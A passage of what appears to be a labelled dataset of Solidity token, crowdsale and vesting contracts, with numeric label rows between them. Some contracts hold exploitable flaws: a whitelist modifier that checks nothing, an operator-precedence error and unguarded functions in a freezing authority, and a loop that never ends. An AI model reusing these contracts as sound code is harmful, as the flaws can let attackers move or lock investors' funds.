owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) whitelist;
uint256 public whitelistLength = 0;
address private addressApi;
modifier onlyPrivilegeAddresses {
require(msg.sender == addressApi || msg.sender == owner);
_;
}
function setApiAddress(address _api) public onlyOwner {
require(_api != address(0));
addressApi = _api;
}
function addWallet(address _wallet) public onlyPrivilegeAddresses {
require(_wallet != address(0));
require(!isWhitelisted(_wallet));
whitelist[_wallet] = true;
whitelistLength++;
}
function removeWallet(address _wallet) public onlyOwner {
require(_wallet != address(0));
require(isWhitelisted(_wallet));
whitelist[_wallet] = false;
whitelistLength--;
}
function isWhitelisted(address _wallet) public view returns (bool) {
return whitelist[_wallet];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract VeiagToken is StandardToken, Ownable, Pausable {
string constant public name = "Veiag Token";
string constant public symbol = "VEIAG";
uint8 constant public decimals = 18;
uint256 constant public INITIAL_TOTAL_SUPPLY = 1e9 * (uint256(10) ** decimals);
address private addressIco;
modifier onlyIco() {
require(msg.sender == addressIco);
_;
}
function VeiagToken (address _ico) public {
require(_ico != address(0));
addressIco = _ico;
totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY);
balances[_ico] = balances[_ico].add(INITIAL_TOTAL_SUPPLY);
Transfer(address(0), _ico, INITIAL_TOTAL_SUPPLY);
pause();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
super.transferFrom(_from, _to, _value);
}
function transferFromIco(address _to, uint256 _value) public onlyIco returns (bool) {
super.transfer(_to, _value);
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.transfer(beneficiary, amount);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract LockedOutTokens is TokenTimelock {
function LockedOutTokens(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
) public TokenTimelock(_token, _beneficiary, _releaseTime)
{
}
function release() public {
require(beneficiary == msg.sender);
super.release();
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function setStart(uint256 _start) onlyOwner public {
start = _start;
}
function release(ERC20Basic _token) public {
uint256 unreleased = releasableAmount(_token);
require(unreleased > 0);
released[_token] = released[_token].add(unreleased);
_token.transfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic _token) public onlyOwner {
require(revocable);
require(!revoked[_token]);
uint256 balance = _token.balanceOf(address(this));
uint256 unreleased = releasableAmount(_token);
uint256 refund = balance.sub(unreleased);
revoked[_token] = true;
_token.transfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic _token) public view returns (uint256) {
return vestedAmount(_token).sub(released[_token]);
}
function vestedAmount(ERC20Basic _token) public view returns (uint256) {
uint256 currentBalance = _token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(released[_token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[_token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract VeiagTokenVesting is TokenVesting {
ERC20Basic public token;
function VeiagTokenVesting(
ERC20Basic _token,
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
) TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable) public
{
require(_token != address(0));
token = _token;
}
function grant() public {
release(token);
}
function release(ERC20Basic _token) public {
require(beneficiary == msg.sender);
super.release(_token);
}
}
contract Whitelistable {
Whitelist public whitelist;
modifier whenWhitelisted(address _wallet) {
_;
}
function Whitelistable() public {
whitelist = new Whitelist();
}
}
contract VeiagCrowdsale is Pausable, Whitelistable {
using SafeMath for uint256;
uint256 constant private DECIMALS = 18;
uint256 constant public RESERVED_LOCKED_TOKENS = 250e6 * (10 ** DECIMALS);
uint256 constant public RESERVED_TEAMS_TOKENS = 100e6 * (10 ** DECIMALS);
uint256 constant public RESERVED_FOUNDERS_TOKENS = 100e6 * (10 ** DECIMALS);
uint256 constant public RESERVED_MARKETING_TOKENS = 50e6 * (10 ** DECIMALS);
uint256 constant public MAXCAP_TOKENS_PRE_ICO = 100e6 * (10 ** DECIMALS);
uint256 constant public MAXCAP_TOKENS_ICO = 400e6 * (10 ** DECIMALS);
uint256 constant public MIN_INVESTMENT = (10 ** 16);
uint256 constant public MAX_INVESTMENT = 100 * (10 ** DECIMALS);
uint256 public startTimePreIco = 0;
uint256 public endTimePreIco = 0;
uint256 public startTimeIco = 0;
uint256 public endTimeIco = 0;
uint256 public exchangeRatePreIco = 200;
uint256 public icoFirstWeekRate = 150;
uint256 public icoSecondWeekRate = 125;
uint256 public icoThirdWeekRate = 110;
uint256 public icoRate = 100;
uint256 public tokensRemainingPreIco = MAXCAP_TOKENS_PRE_ICO;
uint256 public tokensRemainingIco = MAXCAP_TOKENS_ICO;
uint256 public tokensSoldPreIco = 0;
uint256 public tokensSoldIco = 0;
uint256 public tokensSoldTotal = 0;
uint256 public weiRaisedPreIco = 0;
uint256 public weiRaisedIco = 0;
uint256 public weiRaisedTotal = 0;
VeiagToken public token = new VeiagToken(this);
LockedOutTokens public lockedTokens;
VeiagTokenVesting public teamsTokenVesting;
VeiagTokenVesting public foundersTokenVesting;
mapping (address => uint256) private totalInvestedAmount;
modifier beforeReachingPreIcoMaxCap() {
require(tokensRemainingPreIco > 0);
_;
}
modifier beforeReachingIcoMaxCap() {
require(tokensRemainingIco > 0);
_;
}
function VeiagCrowdsale(
uint256 _startTimePreIco,
uint256 _endTimePreIco,
uint256 _startTimeIco,
uint256 _endTimeIco,
address _lockedWallet,
address _teamsWallet,
address _foundersWallet,
address _marketingWallet
) public Whitelistable()
{
require(_lockedWallet != address(0) && _teamsWallet != address(0) && _foundersWallet != address(0) && _marketingWallet != address(0));
require(_startTimePreIco > now && _endTimePreIco > _startTimePreIco);
require(_startTimeIco > _endTimePreIco && _endTimeIco > _startTimeIco);
startTimePreIco = _startTimePreIco;
endTimePreIco = _endTimePreIco;
startTimeIco = _startTimeIco;
endTimeIco = _endTimeIco;
lockedTokens = new LockedOutTokens(token, _lockedWallet, RESERVED_LOCKED_TOKENS);
teamsTokenVesting = new VeiagTokenVesting(token, _teamsWallet, 0, 1 days, 365 days, false);
foundersTokenVesting = new VeiagTokenVesting(token, _foundersWallet, 0, 1 days, 100 days, false);
token.transferFromIco(lockedTokens, RESERVED_LOCKED_TOKENS);
token.transferFromIco(teamsTokenVesting, RESERVED_TEAMS_TOKENS);
token.transferFromIco(foundersTokenVesting, RESERVED_FOUNDERS_TOKENS);
token.transferFromIco(_marketingWallet, RESERVED_MARKETING_TOKENS);
teamsTokenVesting.transferOwnership(this);
foundersTokenVesting.transferOwnership(this);
whitelist.transferOwnership(msg.sender);
token.transferOwnership(msg.sender);
}
function SetStartVesting(uint256 _startTimeVestingForFounders) public onlyOwner{
require(now > endTimeIco);
require(_startTimeVestingForFounders > endTimeIco);
teamsTokenVesting.setStart(_startTimeVestingForFounders);
foundersTokenVesting.setStart(endTimeIco);
teamsTokenVesting.transferOwnership(msg.sender);
foundersTokenVesting.transferOwnership(msg.sender);
}
function SetStartTimeIco(uint256 _startTimeIco) public onlyOwner{
uint256 deltaTime;
require(_startTimeIco > now && startTimeIco > now);
if (_startTimeIco > startTimeIco){
deltaTime = _startTimeIco.sub(startTimeIco);
endTimePreIco = endTimePreIco.add(deltaTime);
startTimeIco = startTimeIco.add(deltaTime);
endTimeIco = endTimeIco.add(deltaTime);
}
if (_startTimeIco < startTimeIco){
deltaTime = startTimeIco.sub(_startTimeIco);
endTimePreIco = endTimePreIco.sub(deltaTime);
startTimeIco = startTimeIco.sub(deltaTime);
endTimeIco = endTimeIco.sub(deltaTime);
}
}
function() public payable {
if (isPreIco()) {
sellTokensPreIco();
} else if (isIco()) {
sellTokensIco();
} else {
revert();
}
}
function isPreIco() public view returns (bool) {
return now >= startTimePreIco && now <= endTimePreIco;
}
function isIco() public view returns (bool) {
return now >= startTimeIco && now <= endTimeIco;
}
function exchangeRateIco() public view returns(uint256) {
require(now >= startTimeIco && now <= endTimeIco);
if (now < startTimeIco + 1 weeks)
return icoFirstWeekRate;
if (now < startTimeIco + 2 weeks)
return icoSecondWeekRate;
if (now < startTimeIco + 3 weeks)
return icoThirdWeekRate;
return icoRate;
}
function setExchangeRatePreIco(uint256 _exchangeRatePreIco) public onlyOwner{
exchangeRatePreIco = _exchangeRatePreIco;
}
function setIcoFirstWeekRate(uint256 _icoFirstWeekRate) public onlyOwner{
icoFirstWeekRate = _icoFirstWeekRate;
}
function setIcoSecondWeekRate(uint256 _icoSecondWeekRate) public onlyOwner{
icoSecondWeekRate = _icoSecondWeekRate;
}
function setIcoThirdWeekRate(uint256 _icoThirdWeekRate) public onlyOwner{
icoThirdWeekRate = _icoThirdWeekRate;
}
function setIcoRate(uint256 _icoRate) public onlyOwner{
icoRate = _icoRate;
}
function sellTokensPreIco() public payable whenWhitelisted(msg.sender) beforeReachingPreIcoMaxCap whenNotPaused {
require(isPreIco());
require(msg.value >= MIN_INVESTMENT);
uint256 senderTotalInvestment = totalInvestedAmount[msg.sender].add(msg.value);
require(senderTotalInvestment <= MAX_INVESTMENT);
uint256 weiAmount = msg.value;
uint256 excessiveFunds = 0;
uint256 tokensAmount = weiAmount.mul(exchangeRatePreIco);
if (tokensAmount > tokensRemainingPreIco) {
uint256 weiToAccept = tokensRemainingPreIco.div(exchangeRatePreIco);
excessiveFunds = weiAmount.sub(weiToAccept);
tokensAmount = tokensRemainingPreIco;
weiAmount = weiToAccept;
}
addPreIcoPurchaseInfo(weiAmount, tokensAmount);
owner.transfer(weiAmount);
token.transferFromIco(msg.sender, tokensAmount);
if (excessiveFunds > 0) {
msg.sender.transfer(excessiveFunds);
}
}
function sellTokensIco() public payable whenWhitelisted(msg.sender) beforeReachingIcoMaxCap whenNotPaused {
require(isIco());
require(msg.value >= MIN_INVESTMENT);
uint256 senderTotalInvestment = totalInvestedAmount[msg.sender].add(msg.value);
require(senderTotalInvestment <= MAX_INVESTMENT);
uint256 weiAmount = msg.value;
uint256 excessiveFunds = 0;
uint256 tokensAmount = weiAmount.mul(exchangeRateIco());
if (tokensAmount > tokensRemainingIco) {
uint256 weiToAccept = tokensRemainingIco.div(exchangeRateIco());
excessiveFunds = weiAmount.sub(weiToAccept);
tokensAmount = tokensRemainingIco;
weiAmount = weiToAccept;
}
addIcoPurchaseInfo(weiAmount, tokensAmount);
owner.transfer(weiAmount);
token.transferFromIco(msg.sender, tokensAmount);
if (excessiveFunds > 0) {
msg.sender.transfer(excessiveFunds);
}
}
function manualSendTokens(address _address, uint256 _tokensAmount) public whenWhitelisted(_address) onlyOwner {
require(_address != address(0));
require(_tokensAmount > 0);
if (isPreIco() && _tokensAmount <= tokensRemainingPreIco) {
token.transferFromIco(_address, _tokensAmount);
addPreIcoPurchaseInfo(0, _tokensAmount);
} else if (isIco() && _tokensAmount <= tokensRemainingIco) {
token.transferFromIco(_address, _tokensAmount);
addIcoPurchaseInfo(0, _tokensAmount);
} else {
revert();
}
}
function addPreIcoPurchaseInfo(uint256 _weiAmount, uint256 _tokensAmount) internal {
totalInvestedAmount[msg.sender] = totalInvestedAmount[msg.sender].add(_weiAmount);
tokensSoldPreIco = tokensSoldPreIco.add(_tokensAmount);
tokensSoldTotal = tokensSoldTotal.add(_tokensAmount);
tokensRemainingPreIco = tokensRemainingPreIco.sub(_tokensAmount);
weiRaisedPreIco = weiRaisedPreIco.add(_weiAmount);
weiRaisedTotal = weiRaisedTotal.add(_weiAmount);
}
function addIcoPurchaseInfo(uint256 _weiAmount, uint256 _tokensAmount) internal {
totalInvestedAmount[msg.sender] = totalInvestedAmount[msg.sender].add(_weiAmount);
tokensSoldIco = tokensSoldIco.add(_tokensAmount);
tokensSoldTotal = tokensSoldTotal.add(_tokensAmount);
tokensRemainingIco = tokensRemainingIco.sub(_tokensAmount);
weiRaisedIco = weiRaisedIco.add(_weiAmount);
weiRaisedTotal = weiRaisedTotal.add(_weiAmount);
}
}
contract Factory {
VeiagCrowdsale public crowdsale;
function createCrowdsale (
uint256 _startTimePreIco,
uint256 _endTimePreIco,
uint256 _startTimeIco,
uint256 _endTimeIco,
address _lockedWallet,
address _teamsWallet,
address _foundersWallet,
address _marketingWallet
) public
{
crowdsale = new VeiagCrowdsale(
_startTimePreIco,
_endTimePreIco,
_startTimeIco,
_endTimeIco,
_lockedWallet,
_teamsWallet,
_foundersWallet,
_marketingWallet
);
Whitelist whitelist = crowdsale.whitelist();
whitelist.transferOwnership(msg.sender);
VeiagToken token = crowdsale.token();
token.transferOwnership(msg.sender);
crowdsale.transferOwnership(msg.sender);
}
} | 0 | 1,023 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract AzbitToken is Ownable {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
uint256 public constant MIN_RELEASE_DATE = 1561939200;
uint256 public constant MAX_RELEASE_DATE = 1567296000;
uint256 public releaseDate = MIN_RELEASE_DATE;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public whiteList;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event WhiteListAdded(address indexed _address);
event WhiteListRemoved(address indexed _address);
event ReleaseChanged(uint256 _date);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
emit Transfer(address(0), msg.sender, totalSupply);
}
function _transfer(address _from, address _to, uint _value) internal canTransfer {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function addToWhiteList(address _address) public onlyOwner {
whiteList[_address] = true;
emit WhiteListAdded(_address);
}
function removeFromWhiteList(address _address) public onlyOwner {
delete whiteList[_address];
emit WhiteListRemoved(_address);
}
function changeRelease(uint256 _date) public onlyOwner {
require(_date > now && releaseDate > now && _date > MIN_RELEASE_DATE && _date < MAX_RELEASE_DATE);
releaseDate = _date;
emit ReleaseChanged(_date);
}
modifier canTransfer() {
require(now >= releaseDate || whiteList[msg.sender]);
_;
}
} | 1 | 4,283 |
pragma solidity ^0.4.18;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract ERC20 {
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Coin is ERC20, DSStop {
string internal c_name;
string internal c_symbol;
uint8 internal c_decimals = 0;
uint256 internal c_totalSupply;
mapping(address => uint256) internal c_balances;
mapping(address => mapping(address => uint256)) internal c_approvals;
function init(uint256 total_lemos, string token_name, string token_symbol) internal {
c_balances[msg.sender] = total_lemos;
c_totalSupply = total_lemos;
c_name = token_name;
c_symbol = token_symbol;
}
function() public {
assert(false);
}
function name() constant public returns (string) {
return c_name;
}
function symbol() constant public returns (string) {
return c_symbol;
}
function decimals() constant public returns (uint8) {
return c_decimals;
}
function totalSupply() constant public returns (uint256) {
return c_totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return c_balances[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool) {
require(_value < c_totalSupply);
c_approvals[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return c_approvals[_owner][_spender];
}
}
contract FreezerAuthority is DSAuthority {
address[] internal c_freezers;
bytes4 constant setFreezingSig = bytes4(0x51c3b8a6);
bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6);
function canCall(address caller, address, bytes4 sig) public view returns (bool) {
if (isFreezer(caller) && sig == setFreezingSig || sig == transferAndFreezingSig) {
return true;
} else {
return false;
}
}
function addFreezer(address freezer) public {
int i = indexOf(c_freezers, freezer);
if (i < 0) {
c_freezers.push(freezer);
}
}
function removeFreezer(address freezer) public {
int index = indexOf(c_freezers, freezer);
if (index >= 0) {
uint i = uint(index);
while (i < c_freezers.length - 1) {
c_freezers[i] = c_freezers[i + 1];
}
c_freezers.length--;
}
}
function indexOf(address[] values, address value) internal pure returns (int) {
uint i = 0;
while (i < values.length) {
if (values[i] == value) {
return int(i);
}
i++;
}
return int(- 1);
}
function isFreezer(address addr) public constant returns (bool) {
return indexOf(c_freezers, addr) >= 0;
}
}
contract LemoCoin is Coin, DSMath {
enum freezing_type_enum {
FUND_RAISING_FREEZING,
VIP_FREEZING
}
struct FreezingNode {
uint end_stamp;
uint num_lemos;
freezing_type_enum freezing_type;
}
mapping(address => FreezingNode []) internal c_freezing_list;
function LemoCoin(uint256 total_lemos, string token_name, string token_symbol) public {
init(total_lemos, token_name, token_symbol);
setAuthority(new FreezerAuthority());
}
function addFreezer(address freezer) auth public {
FreezerAuthority(authority).addFreezer(freezer);
}
function removeFreezer(address freezer) auth public {
FreezerAuthority(authority).removeFreezer(freezer);
}
event ClearExpiredFreezingEvent(address addr);
event SetFreezingEvent(address addr, uint end_stamp, uint num_lemos, freezing_type_enum freezing_type);
function clearExpiredFreezing(address addr) public {
var nodes = c_freezing_list[addr];
uint length = nodes.length;
uint left = 0;
while (left < length) {
if (nodes[left].end_stamp <= block.timestamp) {
break;
}
left++;
}
uint right = left + 1;
while (left < length && right < length) {
if (nodes[right].end_stamp > block.timestamp) {
nodes[left] = nodes[right];
left++;
}
right++;
}
if (length != left) {
nodes.length = left;
ClearExpiredFreezingEvent(addr);
}
}
function validBalanceOf(address addr) constant public returns (uint) {
var nodes = c_freezing_list[addr];
uint length = nodes.length;
uint total_lemos = balanceOf(addr);
for (uint i = 0; i < length; ++i) {
if (nodes[i].end_stamp > block.timestamp) {
total_lemos = sub(total_lemos, nodes[i].num_lemos);
}
}
return total_lemos;
}
function freezingBalanceNumberOf(address addr) constant public returns (uint) {
return c_freezing_list[addr].length;
}
function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) {
return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type));
}
function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public {
require(block.timestamp < end_stamp);
require(num_lemos < c_totalSupply);
clearExpiredFreezing(addr);
uint valid_balance = validBalanceOf(addr);
require(valid_balance >= num_lemos);
FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type_enum(freezing_type));
c_freezing_list[addr].push(node);
SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type_enum(freezing_type));
}
function transferAndFreezing(address _to, uint256 _value, uint256 freezeAmount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) {
require(_value < c_totalSupply);
require(freezeAmount <= _value);
transfer(_to, _value);
setFreezing(_to, end_stamp, freezeAmount, freezing_type);
return true;
}
function transfer(address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
clearExpiredFreezing(msg.sender);
uint from_lemos = validBalanceOf(msg.sender);
require(from_lemos >= _value);
c_balances[msg.sender] = sub(c_balances[msg.sender], _value);
c_balances[_to] = add(c_balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
require(c_approvals[_from][msg.sender] >= _value);
clearExpiredFreezing(_from);
uint from_lemos = validBalanceOf(_from);
require(from_lemos >= _value);
c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value);
c_balances[_from] = sub(c_balances[_from], _value);
c_balances[_to] = add(c_balances[_to], _value);
Transfer(_from, _to, _value);
return true;
}
} | 0 | 1,152 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
